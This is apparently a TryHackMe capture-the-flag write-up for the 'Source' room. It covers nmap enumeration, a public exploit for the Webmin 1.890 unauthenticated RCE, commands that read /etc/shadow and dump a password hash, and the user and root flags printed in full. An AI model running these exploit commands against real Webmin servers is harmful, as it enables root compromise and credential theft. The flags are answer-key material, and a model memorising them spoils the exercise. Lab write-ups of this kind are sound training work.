

Source_THM

Enumeration

```
# we see a webserver running at port 10000

# it is an https server so we need to manually bypass ssl check in browser

# WE get a webmin login but we dont have any credentials

# we use a github exploit for an unauthenticated RCE
```

Nmap

PORT 22,10000 open

```
PORT      STATE SERVICE VERSION
10000/tcp open  http   MiniServ 1.890 (Webmin httpd)
|_ http-csrf: Couldn't find any CSRF vulnerabilities.
|_ http-dombased-xss: Couldn't find any DOM based XSS.
| http-litespeed-sourcecode-download:
| Litespeed Web Server Source Code Disclosure (CVE-2010-2333)
| /index.php source code:
| <h1>Error - Document follows</h1>
|_ <p>This web server is running in SSL mode. Try the URL <a href='https://ip-10-10-41-33.eu-west-1.compute.internal:10000/'>https://ip-10-10-41-33.eu-west-1.compute.internal:10000/</a> instead.<br></p>
|_ http-majordomo2-dir-traversal: ERROR: Script execution failed (use -d to debug)
| http-phpmyadmin-dir-traversal:
|   VULNERABLE:
|   phpMyAdmin grab_globals.lib.php subform Parameter Traversal Local File Inclusion
|     State: UNKNOWN (unable to test)
|     IDs: CVE:CVE-2005-3299
|     PHP file inclusion vulnerability in grab_globals.lib.php in phpMyAdmin 2.6.4 and 2.6.4-pl1 allows remote attackers to include local files via the $__redirect parameter, possibly involving the subform array.
|
|     Disclosure date: 2005-10-nil
|     Extra information:
|     ../../../../etc/passwd :
|     <h1>Error - Document follows</h1>
|     <p>This web server is running in SSL mode. Try the URL <a href='https://ip-10-10-41-33.eu-west-1.compute.internal:10000/'>https://ip-10-10-41-33.eu-west-1.compute.internal:10000/</a> instead.<br></p>
|
|     References:
|     http://www.exploit-db.com/exploits/1244/
|     https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3299
|_ http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-vuln-cve2006-3392:
|   VULNERABLE:
|   Webmin File Disclosure
|     State: VULNERABLE (Exploitable)
|     IDs: CVE:CVE-2006-3392
|     Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML. This allows arbitrary files to be read, without requiring authentication, using "..%01" sequences to bypass the removal of "../" directory traversal sequences.
|
|     Disclosure date: 2006-06-29
|     References:
|     http://www.exploit-db.com/exploits/1997/
|     https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3392
```

|_ http://www.rapid7.com/db/modules/auxiliary/admin/webmin/file_disclosure
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%), Linux 3.7 - 3.10 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops

TRACEROUTE (using port 80/tcp)

HOP	RTT	ADDRESS
1	199.28 ms	10.4.0.1
2	...	3
4	455.36 ms	10.10.41.33

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 61.65 seconds

HTTPS:10000

Webmin version 1.890

we find an exploit for this version

```
# searchsploit webmin 1.890
```

Exploit Title	Path
Webmin < 1.920 - 'rpc.cgi' Remote Code Execution (Metasploit)	linux/webapps/47330.rb

Shellcodes: No Results

i used a github exploit for this purpose

foxsin34 / WebMin-1.890-Exploit-unauthorized-RCE

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Go to file Add file Code

foxsin34 Update README.md 3f6bd59 on Jul 9, 2020 3 commits

README.md Update README.md 11 months ago

webmin-1.890_exploit.py Add files via upload 11 months ago

README.md

WebMin-1.890-Exploit-unauthorized-RCE

Script to get rce on Webmin version 1.890. Read this article to get more information <https://medium.com/@0xstain/webmin-1-890-exploit-unauthorized-rce-cve-2019-15107-23e4d5a9c3b4>

#

Exploitation

We are able to execute commands as root on the server

```
# python3 exploit.py 10.10.41.33 10000 "cat /etc/shadow"
```

so i dump shadow file and get dark user hash

```
:*:18295:0:99999:7:::
dd:*:18295:0:99999:7:::
masq:*:18295:0:99999:7:::
dscape:*:18295:0:99999:7:::
linate:*:18295:0:99999:7:::
d:*:18439:0:99999:7:::
k:$6$in/.sNd9dVXME1Tc$9n0c0I6ZzYoYDvD.Zfopq4R4Q/sTDKG0j128H2oFZrctn7CnpZEJ3DQq0w4j9Ruq2osYTopTwx8xSaYnLKhK11:18439:0:99999:7:::
>
(root👁CyberJunkie)-[~/Tryhackme/Source_THM]
```

I can directly read user and root flag

PostExploitation

Loot

Credentials

Flags

User Flag

THM{SUPPLY_CHAIN_COMPROMISE}

```
(root@CyberJunkie)-[~/Tryhackme/Source_THM]
# python3 exploit.py 10.10.41.33 10000 "cat /home/dark/user.txt"
```

WebMin 1.890-expired-remote-root

```
<h1>Error - Perl execution failed</h1>
<p>Your password has expired, and a new one must be chosen.
THM{SUPPLY_CHAIN_COMPROMISE}
</p>
```

```
# Root Flag
```

THM{UPDATE_YOUR_INSTALL}

```
(root@CyberJunkie)-[~/Tryhackme/Source_THM]
# python3 exploit.py 10.10.41.33 10000 "cat /root/root.txt"
```

WebMin 1.890-expired-remote-root

```
<h1>Error - Perl execution failed</h1>
<p>Your password has expired, and a new one must be chosen.
THM{UPDATE_YOUR_INSTALL}
</p>
```